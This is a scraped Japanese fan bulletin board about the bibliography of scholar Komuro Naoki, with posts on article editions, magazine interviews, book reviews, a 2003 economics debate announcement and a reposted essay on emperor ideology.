もに圧倒的な迫力の経済ディベートにご期待ください。
※知の巨人、経済学者小室直樹先生を総合コメンテイターとしてお迎えします。☆日時 平成15年11月16日(日)午後1時〜5時
☆場所 野口英世記念会館(JR千駄ヶ谷駅から徒歩7分)
・東京都新宿区大京町26番地 電話03(3357)0742
☆プログラム
論題1「日本経済はデフレ不況から脱出できるか否か」
論題2「構造改革で日本の景気は回復するか否か」
論題3「インフレターゲット(目標)政策の導入は是か非」
論題4「日銀の金融政策は効果があるか否か」
論題5「来年、日本経済は2%成長が可能か否か」
論題6「ケインズ経済と古典派経済はどちらが有効か」・討論者 日本ディベート研究協会「ディベート大学」研究員
・コーディネーター 北岡俊明☆参加費用 2千円(1人)
☆全席300席です。予約状況を電話かメールで確認してください。ただし、純粋
な研究発表会であり啓蒙セミナーのため、入場者多数の場合には立ち見もあるこ
とをご了承ください。
☆連絡申込先
(氏名、住所、会社名、電話番号)をご記入の上、次まで申込みください。
〒108-0074 東京港区高輪3-25-35-702 日本ディベート研究協会
電話03-3441-8120 FAX03(3441)8393 メールkitaoka@japandebate.com
☆銀行振込 東京三菱品川駅前支店 普通0828877
☆郵便振替 口座番号00100-5-684375 日本ディベート研究協会
受講証は、銀行振込・郵便振替など、参加費の払込済みを証明する(半券や受領
書など)で代替えいたしますので、当日ご持参ください。
全体の目次がないので、自分でつくりました。エクセルからのコピーなので見づらいと思いますが。
著者が複数いる場合は、それぞれの先頭にきている先生がビデオの講師でもあります。人間力向上講座 Comprehensive Studies
No 講座名 講師(ビデオ)兼著者
1 〔禅の人間学〕 松原泰道
2 〔勝負の勘どころ〕 坂田栄男
3 〔人を育て、人を活かす〕 藤田元司
4 〔知恵に限界はない〕 三澤千代治
5 〔パラダイム・ショックへの対応〕 藤井康男ビジネス能力開発講座 Extended Studies
No 講座名 講師(ビデオ)兼著者とその他の著者
6 〔組織力〕教科書 渡部昇一 幸田一男 堺屋太一 小室直樹 松尾博志 佐瀬稔
7 〔発想力〕教科書 堺屋太一 糸川英夫 渡部昇一 松尾博志 上之郷利昭 今岡和彦
8 〔先見力〕教科書 牧野昇 松下幸之助 ハーマン・カーン 吉田俊男 佐野真一 城島明彦
9 〔戦略力〕教科書 大前研一 大橋武夫 坂本藤良 須崎勝弥 藤田忠司 郡山芳也
10 〔情報力〕教科書 田原総一郎 岩崎隆治 半藤一利 土門周平 大隈秀夫 小邦宏治 高田正純
11 〔交渉力〕教科書 藤田忠 堺屋太一 村山浮 桂英澄 大村健一郎
12 〔調査力〕教科書 草柳大蔵 厚田昌範 小堺昭三 広田一夫 小林久三 梶原一明
13 〔決断力〕教科書 会田勇次 西田耕三 中西信男 二宮欣也 前野和久 J.C.アベグレン
14 〔指導力〕教科書 山本七平 大野力 奈良本辰也 島田謹二 藤田忠司 城山三郎
15 〔政治力〕教科書 高坂正堯 佐々克明 長井彬 百瀬明治 笠原和夫 高田正純経営・経済の一般教養講座 Fundamental Studies
No 講座名 講師(カセット)兼著者
16 〔マネジメント〕ゼミナール 土屋守章
17 〔日本社会〕ゼミナール 加藤秀俊
18 〔企業戦略〕ゼミナール 河野豊弘
19 〔国際環境〕ゼミナール 徳山二郎
20 〔情報〕ゼミナール 白根禮吉
21 〔マーケティング〕ゼミナール 村田昭治
22 〔技術〕ゼミナール 牧野昇
23 〔流通〕ゼミナール 田島義博
24 〔金融〕ゼミナール 紅林茂夫
25 〔日本経済〕ゼミナール 加藤寛
確認しました。プレジデント経営大学院 1987年
ビジネス能力開発講座 Extended Studies
E-6〔組織力〕教科書 講師 渡部昇一
第3章 事例研究 『歴史と人間に学ぶ』組織力
「常識」を覆した勝者たち 小室直樹 p64〜p79第1章は、ビデオがついており、渡部昇一氏本人の30分間の講義です。
小室先生の文章は、1982018と比べて見出しが一部違うだけでなく、見出しのくぎり方も一部違います。また、前文は2行にまとめてあり、本文も微妙に違うところがあります。
また、いくつかの注釈がついています。写真は真珠湾攻撃のものがひとつありますが、1982018のものとは違います。この講座は、ほかに「経営・経済の一般教養講座」と「人間力向上講座」があり、全部で25巻、それぞれにビデオ1つかカセット2つがついています。ダンボール箱3個にもなります。
ほかに有名な方では、山本七平氏、松原泰道氏、大前研一氏、牧野昇氏、境屋太一氏などのビデオ講義があります。
もとの定価はわかりませんが、今回15000円で買いました。ほかでは25000円だったり、48000円で売っているサイトもあります。小室先生の画像や音声がなかったのは残念です。
どなたか欲しい方いらっしゃいますか?(笑)ブックオフで売れるかな?おき場所がなくて。しかもちがうものも1箱まちがってくっついてきたし(つまり4箱きたのです。腰痛い!)(笑)
> 史上最短オピニオン/「○○は××である」は論理的思考の本質である 小室直樹、資本主義、利子、経済、デフレ SPA!(7/22) p45確認しました。まさしく一般文献です。インタビューです。やはり原本確認せなあきまへんな。
カラーの顔写真があります。著者紹介に「論理学、法学、.......など幅広い分野で指導的役割を果たす"知の重鎮"。」とあります。
見出しだけ引用します。
「資本主義の本質とは"締め切り"である」
「利子とは経済のタイマーである」
「資本主義とは"定価の設定"である」
「デフレとは憲法違反である。そして、日銀とは存在しないも同然である」
児島高徳さん、こんばんは。>裏表紙を見たら、自分の持っているものと写真・文字の配置が違ってて、少しびっくり。そこにあったものは初版で、写真が左半分、山本七平さんの文章が右半分に配置されていました。
確認しました。日本の古書店で1500円で買いました。注文した後にEasy Seekをみたら600円でした(笑)。でもきれいな本でした。
写真も位置と大きさだけではなく、写真そのものが違うんですね。リアルタイムで出版されてすぐ購入すれば、たいてい初版ということになるわけですが、この本は小室本として最初に出会った本なので初版ではありませんでした。
ただ、高いお金をだして買っても、私にとっては、当時たまたま手にした色あせた第12刷(1980.10.5)のほうが価値があります。
>やはり。私がF氏といった方です。丸山門下生ですものね。私が藤原氏と感じたもうひとつの理由は1983007の対談での次のような発言です。丸山先生を批判しています。
p60の一部を引用します。
「藤原 私が丸山さんに感じた幻滅と失望というのは、まさにそこなんだよ。政治学がどうも実効性をもたない。「戦後民主主義は虚妄だ」といい続けても、現実は動かず、かえってひどいことになる。われわれは、その国の土壌や歴史、伝統の中に、口に合うカクテルをつくらなければならない。純粋なアルコールだけ、いくらばらまいたって発散してしまうんだから。」それに対して小室先生はこのように答えています。また、引用します。
「小室 私は、いまこそ丸山先生に少しも失望していませんよ。社会科学者なんて、たいがいアホかインチキだけど、あの先生は違う。尊敬してます。ところで、純粋なアルコールなら、発散して効果がないということですむけれども、カクテルは逆効果になるんじゃないですか。」
>藤原弘達と聞いております。やはり。私がF氏といった方です。丸山門下生ですものね。
藤原弘達と聞いております。
整理番号1998013のテキストデータがありましたので、読んだことない方どうぞ。文章は、ひとつの文章ごとに改行しているということ以外原文と全く同じです。原文には先生の顔写真があります。また、名前は「小室 直樹さん」となっています。談志教 信じれば毒も薬...朝日新聞「批評の広場」より
「権力批判には集中せぬ鋭鋒」
談志落語の神髄は、江戸時代の文化を現代に伝える努力にある。
生活様式が全く違ってしまった20世紀末、これは大変な作業である。
談志自身、古典落語を体現しているのは今や自分しかいないと高言している。
もっとも、落語通の見るところによると、一部を除いて彼の芸は古典落語からほど遠いそうだが。
談志は私を引き込んで、「政治落語」を始めた。
私の政治・経済的分析を、談志が落語仕込みにし、権力に対する庶民の反論をする趣旨だ。
これこそ江戸落語の神髄を現代に伝えるものかとも思った。
江戸時代の権力者は幕府・諸侯であり、権威は儒教、仏教である。
それに反抗したところに古典落語の本領がある。
現代日本の権力者は大蔵省と金融機関である。
ゆえに政治落語における私の矛先はそこへ向かった。が、談志は、鋭鋒を必ずしもそこに集中する
ようでもなかった。
あるいは逡巡し、あるいはマスコミに迎合して、矛先は権力批判に向いていない。
談志の限界だろうか。
(小室直樹 政治学者)
http://www.din.or.jp/~sukeroku/hitorigoto6gatu.htm
>その「大柄な男」に卓上を乗り越えてなぐりかかったらしい。昨年の5/3の講演会のとき、先生といっしょに写真をとらせていただきましたが、それをみると先生の頭は私の目くらいの位置です。私の身長は177cmですのでそれより15cmくらい低いでしょうか。お年をめして多少身長が縮んだとしてもそれほど大柄とはいえないような気がします。むしろ丸山先生のほうが大柄な印象があるのですが。F氏なんか大きい感じがします。
中野雄『丸山真男 音楽との対話』(文春新書)を読んでいたら、
本の半ばあたりで、面白いエピソードがありました。
なんでも、丸山真男を囲んでの新年会だったかで、
弟子の「高名な政治評論家」が少々失礼な発言をしたところ、
そうした点については常々厳格を重んじる丸山真男が、
その「大柄な男」に卓上を乗り越えてなぐりかかったらしい。で、この殴られた人ですが…。
ひょっとして??
>「プレジデント経営大学院 ビジネス能力開発講座」のテキストの中の一つに「(組織力)教科書」というのがあり、その中のp64〜p79に掲載されています。テルさん、おはようございます。
確かに見出しは少しくい違いますが、内容は同じかもしれませんね。これは今でも入手可能なものですか?もし差し支えないならば、私か管理人さんにメールで詳細を教えていただければ同じものかどうか確認できると思います。こちらからも1982018の詳細をお伝えします。ちなみにこの文献は、同じく6ページにわたっていますが、「第一航空艦隊」「真珠湾攻撃」「ヒトラー」の白黒写真があります。
文献目録 整理番号1982018に「常識」を覆した勝者たち
プレジデント社5月号 として掲載されていますが、おそらく同じ内容であるものを、部屋で発見しました。
「プレジデント経営大学院 ビジネス能力開発講座」のテキストの中の一つに「(組織力)教科書」というのがあり、その中のp64〜p79に掲載されています。
[ 目次・見出し ]が若干違っています。・「強い軍団」と「勝者」の関係
・強くても勝てなかった日本軍
・世界最強の第1航空艦隊
・零戦の征くところ敵なし
・電撃作戦の要「機甲軍団」
・強さ故のアキレス腱
・致命的だった航空権の喪失
・日本海軍が犯した失敗
・近代戦を理解していた秀吉
管理者殿、失礼致します。日本ディベート研究協会会員の冨士邦彦と申します。次のとおり御案内申しあげます。※知の巨人、経済学者小室直樹先生を総合コメンテイタとしてお迎えします。
・なぜ日本経済は混迷しているのか。なぜエコノミストの予測は当らない
のか。質量ともに圧倒的な迫力の経済ディベートにご期待ください。☆日時 平成15年11月16日(日)午後1時〜5時
☆場所 野口英世記念会館
・東京都新宿区大京町26番地 電話03(3357)0742
・JR千駄ヶ谷駅から徒歩7分
☆プログラム
・「デフレ不況は克服できるか否か」日本経済復活の方法を提言する
・6つの論題について連続討論をおこなう。
・討論者 日本ディベート研究協会研究員
・コーディネーター 北岡俊明☆参加費用 2千円(1人)
☆全席300席です。予約状況を電話かメールで確認してください。
☆連絡申込先
(氏名、住所、会社名、電話番号)をご記入の上、次まで申込みください。
〒108-0074 東京港区高輪3-25-35-702 日本ディベート研究協会
電話03-3441-8120 FAX03(3441)8393 メールkitaoka@japandebate.comHP http://www.japandebate.com/
☆銀行振込 東京三菱品川駅前支店 普通0828877
この前こばやしまさきさんから教えていただいたこれって関連文献かと思っていましたが、一般ですか?図書館の相互貸借は申し込みましたけど......史上最短オピニオン/「○○は××である」は論理的思考の本質である 小室直樹、資本主義、利子、経済、デフレ SPA!(7/22)
あと2,3日すれば図書館で読めるのに、このくそ暑い中東京にいってもらってきました。p8-11ですね。このたった4ページを読んで、いってよかったとつくづく思いました。面白い。楽しい。
パーソンズが日本に来て富永先生とあったとき、大塚先生と川島先生をひきあわせた話はどこかに書いてあったかもしれませんが、あらためて感心しました。
そのほかいままで書いてこなかったものもあります。大塚先生は小学校に入る前に『通俗二十二史』を愛読し、大概のことは一度で頭にはいったそうです。私などこの経での4回目の連載となる宮台先生の論文はもう挫折しました。(笑)
高田先生のあとに続くのは大塚先生くらいだろうと思っていましたが、まだ終わりではなさそうなので不思議に思っていたらもう一度次も大塚先生でいくようですね。楽しみです。
こうして経を読み進めていきますと、先生が理論経済学からはじまって高田、森嶋両先生に影響をうけ、サミュエルソンに方法論的な刺激を受け、パーソンズに学んで、帰国後丸山、川島、富永先生などを経て最後に大塚先生の自宅近くに住み込んでまでウェーバーを研究した学問遍歴が必然的につながっていくのがあらためてわかるような気がします。
関連箇所の最後のページがわかりました。「社会科学の再建をめざして」小室ゼミナールP89-98
p90以降ゼミ生4名がそれぞれ短い論文をのせています。
その二つ目は橋爪先生のもので、「分業系の社会理論のために 〜WalrasとMarxとを結ぶ森嶋理論〜」
と題しています。この文献はすべて手書きで、4名の論文も自分で書いているようですから、橋爪先生の小室ゼミ時代の手書き論文ということになりますね。
先日副島先生の4冊セットの本にはすべて副島先生の自筆サインがあり、ゲラ原稿を希望したのでいただきました。また、宮台先生のセミナーにでたことがあるので手書きの文字はみたはずです。
ちなみに小室先生の博士論文は手書きです。ソロオロゴスの2と3それと11以降にもゼミ紹介があるんじゃないかと思いますが、ご存知の方教えてください。
>これらはみな同じ文章です。題名も同じ京都新聞朝刊 2003年06月01日号 13ページ
これだけ題名違いました。「ここが急所とぐいぐい迫る」でした。
でも文章は同じ。
信濃毎日新聞夕刊 2003年06月20日号 5ページ
河北新報朝刊 2003年06月01日号 11ページ
京都新聞朝刊 2003年06月01日号 13ページ
静岡新聞朝刊 2003年06月01日号 7ページこれらはみな同じ文章です。題名も同じ
「論理の方法 一癖ある教養の魅力」
それと経8月号でたみたいですね。大塚久雄 ヴェーバーと資本主義の解明に人生をかける
図書館にはまだきてないし、明日は台風で東京いけないし。
>それは唯幻論、ものぐさ精神分析のなかにある岸田秀の思想についてですご存知かと思いますが、
1996008 [解説]『日本人と「日本病」について』(岸田秀・山本七平共著) 文春文庫
で、岸田氏と山本氏の対談について、小室先生は解説を書いています。
p236では、このような箇所があります。
「岸田氏の方法論は、精神分析を集団現象の説明に用いる。これは、精神分析(psycho-analysis)の拡大解釈ではなく当然のことである。(『ものぐさ精神分析』中公文庫。1996年。14-15頁)。いわば、精神分析の本来の姿である。」このあと「日本人が精神分裂病である。」というモデルで、大東亜戦争はどうみえるかという話題に移っていきます。
以上参考まで。
どうも、おひさです。小室先生の本を読んでどうしても引っかかることがあります
それは唯幻論、ものぐさ精神分析のなかにある岸田秀の思想についてです
「小室直樹の学問と思想」では岸田秀はた「科学的な根拠が無い」と言う一言だけで
片付けられていますが、ものぐさの中の「擬人論の復権」のなかに
意味の学問があると言う文がありますが小室氏はその考えが抜けているような気がします
2ちゃんねるでありましたが、神の学問→神は死んだニーチェ→物の学問(科学的)→擬人論の復権(岸田)
という風に考えが変化しており、小室氏の「痛快!」を読んだときに思ったのですが
なぜそのように考えたのか、「伝統主義」という「幻想」が支配していた当時の「集団幻想」がどのようなものだったのか
などの考察がないように思いました。これについてはどう思われるでしょうか?
今晩は。
本日発売、今号(8/20・9/3合併号)のSAPIOの書想倶楽部(p46-47)は、小室直樹先生へのインタビューでした。無論、『論理の方法』に対してのものです。
タイトルは、以下の通りです。「論理の塊である数学軽視は亡国につながる!」小室流日本人への警告
『論理思考のない日本人は、世界からコミュニケートできない国民と見られている』それでは失礼します。
皆さん、こんにちは、小山 みつね です。[3008] [3007] に投稿したものを、加筆修正して、「ふじむら掲示板」に投稿したのですが、やはり、こちらにふさわしい(!?)テーマなので、転載しておきます。
以下、「ふじむら掲示板」より転載。
(転載)
皆さん、こんにちは、小山 みつね です。
「小室直樹文献目録」掲示板 [3008] [3007] に投稿したものを加筆修正して、こちらに投稿します。
_____________
>天皇がなにかやったからえらいとかえらくないとか、それは因果律ですね。小室先生にとっては、天皇だからえらいんだということでしょうね。つまり予定説。
この問題を考へるためには、少し、日本史の復習をする必要があります。少しですので、お付き合ひください。お願ひします。
質問:日本の歴史において、もつとも性規範が乱れたのは、いつの時代ですか?
答:院政時代。今から1000年ぐらゐ前。
質問:その時代、性規範の乱れが、特にひどかつた階級は、どの階級ですか?
答:貴族階級。とくに、天皇家。
私事にわたつて恐縮ですが、私の高校時代の日本史の先生が、ちょっとした日本史マニアで、最先端の日本史学会の動向とかにも詳しい人でした。(高校生相手に、網野善彦(あみの よしひこ)の「異形の王権」とかを平気で教える、変な(!?)人でした)先生曰く、「院政時代の日本の宮廷は、要するに、「裏ビデオも真青(まっさお)」(!! このフレーズは、なぜか、私は、今でも印象に残つてゐます。 小山 注記)の世界であつた」と。そして、さらに先生曰く「その中でも、特に、腐敗が、一番、激しかつたのは、、、、天皇家、なのだ!」と。
その先生は、典型的なリベラル派知識人でしたので、こんなに悪い天皇制は、やはり、打倒されなければならない、といふやうなニュアンスで、このことを講義してゐました。典型的な、因果律(!)に基づいた思考ですな。
私も、高校時代は、典型的な「リベラル派学生」でしたので、この講義を聴いて、「なるほど、天皇制は、やつぱり、けしからんものなのかなあ」と、素直(!?)考へてゐたものでした。しかしながら、大学生になつて、小室直樹先生や山本七平氏の本を読んで、私は、「どうも、あの高校教師が言つていたことは、因果律を前提にした、一つのお話、仮説(!)のやうだ。予定説を前提にすると、まつたく違ふストーリー(仮説!)になるんじやないか」とて、「転向」(!)することになるわけです。
「まつたく違ふストーリー」(仮説!)とは、以下のやうになります。
栗山潜鋒(くりやま せんぽう)は、その著書「保建大記」に、白河法皇と白河法皇の孫(=鳥羽天皇)の中宮 待賢門院璋子(たいけんもんいん たまこ)(注1)との間に「いふべからざる」ことがあつて、鳥羽帝が崇徳帝のことを「おのが子にあらざることを知れり」と、書いてゐます。(注2)
といふわけで、因果律(ここでは、儒教流か西洋流の性規範)をとると、天皇家を守りきることが出来なくなるわけです。ですから、天皇家を守りきるためには、予定説を採る必要がでてくるわけです。>小室 宮台(真司)君、天皇はすごいと思いませんか??
>宮台 思いません。
>小室 残念。君はかわいそうですなあ。
(宮台真司著「これが答えだ!」より)といふ「天皇予定説」は、かういふ文脈から出てくるわけです。
小室先生は、このことを、「天皇の非倫理性を追求することで、朱子学の論理(=因果律)を破った」( 「天皇の原理」)といふやうな感じで、上品に、表現してゐました。(注3)
この「天皇予定説」を補強するために、(人間の基準で)愚かな天皇に忠誠を尽くした人物を英雄にする必要がでてきます。その人物は誰でせう?
答:楠木正成
崎門学が成立した時代は、江戸時代ですので、天皇家は北朝(!)です。ですから、露骨に南朝(!)の楠木正成を持ち上げることは出来ません。そこで上品に(!)楠木正成を持ち上げる必要がでてきます。
そこで、浅見絅斎(あさみ けいさい)は、その著書「靖献遺言」(せいけん いげん)で、バカな殿様(!!)(もしくは、まだ、赤ちゃんの皇帝とか)に、死ぬまで忠誠を尽くした、諸葛孔明(しょかつ こうめい)ら、忠勇義烈(!)のシナ人を持ち上げることで、間接的に(!!)、楠木正成を持ち上げることにしたわけです。この「天皇予定説」が、明治維新を通じて支配階級に広がり(こちらは、自覚的に)、日清日露戦争の勝利を通じて日本人全体に広がり(こちらは、無自覚的に)、大東亜戦争では、30分の1の戦力で、アメリカ相手に、3年9ヶ月闘ふ「団結力」を生んだわけです。(注4)
この「天皇予定説」は、間違ひなく、「右翼思想」です。しかし、「足利尊氏(=政治的勝者)ではなく、楠木正成(=政治的敗者)を支持せよ!」すなはち、「弱者の味方をせよ!」といふ考へかたでもあるので、なぜか、「左翼思想」と共鳴する部分があります。もちろん、「欧米列強(=足利尊氏)の手先になるな! 弱小国日本に忠誠を尽くせ!(楠木正成のやうに!!)」といふ「愛国思想」ではあるわけですが。
小林よしのり氏が、その著書「戦争論3」で、大東亜戦争時の、日本人の「戦意の高さ」について強調してゐましたが、その「戦意の高さ」の淵源(えんげん=ものごとの始まり)もまた、浅見絅斎(あさみ けいさい)の「足利尊氏(=政治的勝者 強国 アメリカ)ではなく、楠木正成(=政治的敗者 弱小国 日本)を支持せよ!」といふ考へ方から発してゐることは、間違ひありません。
ただし、小林氏は、浅見絅斎(あさみ けいさい)に、全く言及してゐないことから鑑(かんが)みるに、小林氏とは、無自覚な「浅見絅斎(あさみ けいさい)主義者」である、と、言へるでせう。
少しばかり、遺憾な話ではあります。奥田勝典氏は、[3965] 限りがあるからこそ美しい で、次のやうに述べてゐます。(奥田勝典様、はじめまして。 小山より)
>尊敬する日の丸特攻隊についての理解も深まりましたし、副島先生が、自己保存を優先しすぎる人を極度に嫌うことも理解できました。副島先生は美しいものを追いかけていらっしゃるのでしょうね。
これは、なかなかに、味はい深い文章であります。
「自己保存を優先しすぎる人を極度に嫌」ふ(=ホッブズ HOBBES の「自己保存」 SELF PRESERVATION 論(=近代政治思想の淵源 いはゆる、「親米保守愛国」路線の人にも、このタイプの人が、多い)に、批判的な立場をとる)とは、まさしく、「足利尊氏(=政治的勝者)ではなく、楠木正成(=政治的敗者)を支持せよ!」といふ「浅見絅斎主義」そのもののエトス(=行動様式。および、その行動様式を支えるところの倫理、道徳)です。副島先生も、要するに、「浅見絅斎主義者」といふことです。副島先生が「反米的」な立場をとるのも、「世界の足利尊氏」(!?)たる「アメリカ グローバリズム」には、「浅見絅斎主義者」として、反対せざるを得ない、といふことでせう。副島先生は、マルクス主義から、反共親米路線、反米愛国路線、と、思想遍歴してきた人ですが、「浅見絅斎主義」の視点からみると、ある意味、一貫性がある(!?)かもしれません。
これ、すなはち、「マルクス主義」は、
プロレタリアート=楠木正成
ブルジョワジー =足利尊氏といふ点で、「浅見絅斎主義」であります。
しかし、「プロレタリアート独裁」といふ現実を目撃することで、マルクス主義は、必ずしも、「浅見絅斎主義」とは、一致しないといふことが分かり、「反共親米」に「転向」することになります。
「反共親米」は、
ソビエト帝国=足利尊氏
反共・親米 =楠木正成といふ点で、「浅見絅斎主義」であります。
しかし、ソビエト帝国が崩壊し、親米派のなかに、「自己保存が第一」「寄らば大樹の陰」といふ考への人々が多数存在する現実を目撃することで、「反米愛国」に「転向」することになります。
「反米愛国」は、
アメリカ グローバリズム=足利尊氏
アメリカへの抵抗勢力 =楠木正成といふ点で、「浅見絅斎主義」であります。
しかし、「アメリカへの抵抗勢力」のなかに、必ずしも、「浅見絅斎主義」といふか、吉田松陰(!)のやうな人ばかりではない、といふ現実を目撃することで、今の副島先生は、やや、微妙な立場に追い込まれてゐるやうです。
これを要するに、副島先生とは、表向きの思想遍歴は激しいですが、その根の部分は、「浅見絅斎主義」で、それなりに、一貫してゐる、と言へるでせう。
嗚呼、亦(また)奇ならずや!(=なんと奇妙なことではないか!)
_________________________
脚注(注1)待賢門院璋子(たいけんもんいん たまこ)の人となり。
(転載)
http://homepage1.nifty.com/heiankyo/tai.html待賢門院璋子(たいけんもんいん たまこ 注記)をたずねて
先日、法金剛院と待賢門院璋子の御陵をたずねました。法金剛院では桜花が盛りを過ぎ、花びらが園池に浮かび、青女の滝の水は枯れていましたが花びらがまるで滝の水のようで、目を楽しませてくれました。
●待賢門院璋子(1101〜1145)
鳥羽天皇の中宮。崇徳天皇・後白河天皇の母。
御園女御の猶子となりましたが、のち白河法皇の猶子となり、院御所で育てられました。白河法皇に寵愛されますが、法皇の孫の鳥羽天皇の後宮に入り、皇后の宣旨を受けます。入内以降も白河法皇との関係は続き、第1皇子(崇徳天皇)は法皇の子であり、鳥羽天皇は「叔父子」と呼んで冷遇し、それが保元の乱の遠因ともなりました。http://homepage1.nifty.com/heiankyo/tai.html
(終了)(注2)栗山潜鋒(くりやま せんぽう)著「保建大記」(ほうけん たいき)からの引用。
(引用)
(栗山潜鋒(くりやま せんぽう)著「保建大記」(ほうけん たいき)日本思想体系「近世史論集」P.364 岩波書店 収録)白河帝、色好みて最も淫らなり。待賢門院璋子は鳥羽帝の女御にして、崇徳帝の母なり。白河帝、璋子を鍾愛し、其の間、詩の所謂、道(い 注記)ふ可からざる者有り。鳥羽帝も亦、崇徳は己が子に非ざることを知れり。故に鳥羽の崇徳に不慈なるは、婦言に之れ聴くに由ると雖も、白河の倫を乱ること、実に由りて基づく所なり。
(栗山潜鋒(くりやま せんぽう)著「保建大記」(ほうけん たいき)日本思想体系「近世史論集」P.364 岩波書店 収録)
(終了)(注3)小室直樹「天皇の原理」から引用。
(引用)
(小室直樹著「天皇の原理」P.314 P.315文芸春秋)徳川時代における儒学の発達過程の結果として、湯武放伐論の否定はなし得たのか。いかにして、崎門の学者は、朱子学の精緻なる論理を破り得たのであったか。
はじめにそれは、天皇(上皇)の非倫理性を徹底的に追求することによってであった。(中略)
丸山真男の言う、「反対方向性を内包したバランスは毛筋ほどの差で崩れる」からである。
天皇の非倫理性が徹底していればいるほど、それと共存する反対方向性によって、天皇は絶対の高みへのぼってゆくのである。予定説の論理によって。(小室直樹著「天皇の原理」P.314 P.315 文芸春秋)
(終了)(注4)「天皇の原理」(=「浅見絅斎主義」)は、当時の日本人全体に、無自覚的に(!)広がったが、自覚的に(!!)理解してゐた人は、ごく少数だつた、と、私は考へてゐる。
その根拠は、明治政府は、初等教育において「浅見絅斎は、すばらしい!」とて、国民教育しなかつた(!)から、である。明治政府は、「浅見絅斎は、すばらしい!」と言ふ代はりに、「二宮尊徳は、すばらしい!」といふ、一種の「資本主義教育」をしたから、である。高等教育でも、浅見絅斎が論じられたといふ話は、私は、寡聞にして聞いてゐない。
私が、「自覚的に(!!)理解してゐた人は、ごく少数」と書いたのは、「高等教育でも初等教育でも、正面から論じられたことは無い」といふ意味である。新田均(にった ひとし)氏が、当時の資料を渉猟した上で、その著書「「現人神」「国家神道」という幻想―近代日本を歪めた俗説を糺す 」に、「当時の初等教育において、天皇は現人神であるという教育は、おこなわれてないない。よって天皇が現人神である、というのは、嘘である。小室直樹も、立花隆も、間違っている」といふ趣旨のことを、述べてゐる。
「初等教育において、天皇は現人神であるという教育」が行はれてゐないことは、「天皇が現人神である、というのは、嘘である」といふことを証明しない。「天皇が現人神である」といふ説が、秘密裏に(!)共有されてゐたことを証明するだけである。 新田氏のはうが、何か、勘違ひしてゐるやうである。ただし、立花隆も間違つてゐる。その根拠は、立花隆は、「国民全体(!?)が「天皇が現人神である」と信じていた」と書いているからだ。 「国民全体(!?)が」「信じていた」はずがない。こちらは、新田氏がいふやうに、「当時の初等教育において、天皇は現人神であるという教育は、おこなわれてないない」からである。
新田均(にった ひとし)著 「「現人神」「国家神道」という幻想―近代日本を歪めた俗説を糺す 」:http://www.amazon.co.jp/exec/obidos/search-handle-url/
___________________
以上。御無礼。
(終了)
以上。御無礼。
それは他の分野でも同じだと思います。
また日本の社会だけでなく、欧米でも基本的には同じみたいです。
正論を吐くほど疎外されるのが、実社会だと思います。
小室直樹といい、西部ススムといい、計量経済学から転向(ドロップアウト?)して、政治学を志す学者はどーして、日本の社会ではこうも疎外されちゃうんだろ?
もっとも小室直樹の方が西部より頭が切れ、また純粋(西部は処世の計算高さを感じさせる)だとは思うが。。。
こんにちは、men in blackさん。「狂気を極める」ことについてですが、奇人・小室直樹は、最期はどう言った終わり方を迎えるか、どんな行動に出るかなど、とても興味があります。というか、見たいです。
正直普通の人には躊躇があります、怖いです。
生活があるし、とてもじゃないが出来そうにありません。
小室先生も、ある種ドロップアウトした人間だと思いますが、それでもかまわず突き進む姿はただただ圧巻です。狂気の果てに、どんな最期があるのでしょうか。
先生の最期は、どう言ったものになるのでしょうか。
予想は出来ませんが、期待はかなえてくれるかと思います。
men in blackさん、小室先生、期待しています、見ています。
困田さん、こんばんは。情報ありがとうございます。
これらの関連文献目録の番号は、それぞれ次のとおりですね。2001111 「本 よみうり堂」『痛快!憲法学』 読売新聞 読売新聞社 6/10号 13面
1999107 [書評]「日本経済を真の"資本主義"にせよ」小室直樹著『日本人のための経済原論』(鈴木喬著) 週刊東洋経済 東洋経済新報社 1月9日号、5535号 76
1997109 [書評]「各人に日本経済立て直しを問う」小室直樹著『小室直樹の資本主義原論』(鈴木喬著) 週刊東洋経済 東洋経済新報社 3月8日号、5409号 98
1997102 [書評]読書の時間『小室直樹の資本主義原論』「日本経済はいまだ「資本主義」に非ず」(副島隆彦著) 正論 産経新聞社 5月号 332-333
2001115 [書評]『数学嫌いな人のための数学』(細野真宏著) 週刊文春 文藝春秋 11/15号
これだけが日付がちょっと違いますね。過去ログの時期からすると目録が正しいようです。私は原本を買って切り抜いてメモを書いていましたが9/15なんて書いてありましたが間違いですね。
2001124 「ベストセラー快読 小室直樹著『数学嫌いな人のための数学』(小谷野敦著)」 朝日新聞 朝日新聞社 12/16付朝刊 11面
2002102 「書評『数学嫌いな人のための数学』論理的な思考力の養成を最重要視 サイエンス・ライター吉永良正 産経新聞 産経新聞社 1/6付朝刊 11面
●小室直樹 (こむろなおき)
書籍名:痛快! 憲法学(つうかいけんぽうがく)
訳 者:-(-)
版 元:集英社インターナショナル(しゅうえいしゃいんたーなしょなる)
価 格:1700円
評 者:橋本五郎(はしもとごろう)
掲載誌:読売新聞
掲載日:01/6/10
概 要:随所に「目からウロコ」改正へ問題点あぶり出す--------------------------------------------------------------------------------
書籍名:日本人のための経済原論(にほんじんのためのけいざいげんろん)
訳 者:-(-)
版 元:東洋経済新報社(とうようけいざいしんぽうしゃ)
価 格:1700円
評 者:鈴木喬(すずきたかし)
掲載誌:週刊東洋経済
掲載日:99/1/9
概 要:日本経済を真の“資本主義”にせよ--------------------------------------------------------------------------------
書籍名:小室直樹の資本主義原論(こむろなおきのしほんしゅぎげんろん)
訳 者:-(-)
版 元:東洋経済新報社(とうようけいざいしんぽうしゃ)
価 格:1648円
評 者:鈴木喬(すずきたかし)
掲載誌:週刊東洋経済
掲載日:97/3/8
概 要:各人に日本経済立て直しを問う--------------------------------------------------------------------------------
書籍名:小室直樹の資本主義原論(こむろなおきのしほんしゅぎげんろん)
訳 者:-(-)
版 元:東洋経済新報社(とうようけいざいしんぽうしゃ)
価 格:1648円
評 者:副島隆彦(そえじまたかひこ)
掲載誌:正論
掲載日:97/5/0
概 要:日本経済はいまだ「資本主義」に非ず--------------------------------------------------------------------------------
書籍名:数学嫌いな人のための数学――数学原論(すうがくぎらいなひとのためのすうがく)
訳 者:-(-)
版 元:東洋経済新報社(とうようけいざいしんぽうしゃ)
価 格:1600円
評 者:細野真宏(ほそのまさひろ)
掲載誌:週刊文春
掲載日:01/11/29
概 要:古代宗教から経済理論まで――数学の本質を衝く--------------------------------------------------------------------------------
書籍名:数学嫌いな人のための数学――数学原論(すうがくぎらいなひとのためのすうがく)
訳 者:-(-)
版 元:東洋経済新報社(とうようけいざいしんぽうしゃ)
価 格:1600円
評 者:小谷野敦(こやのあつし)
掲載誌:朝日新聞
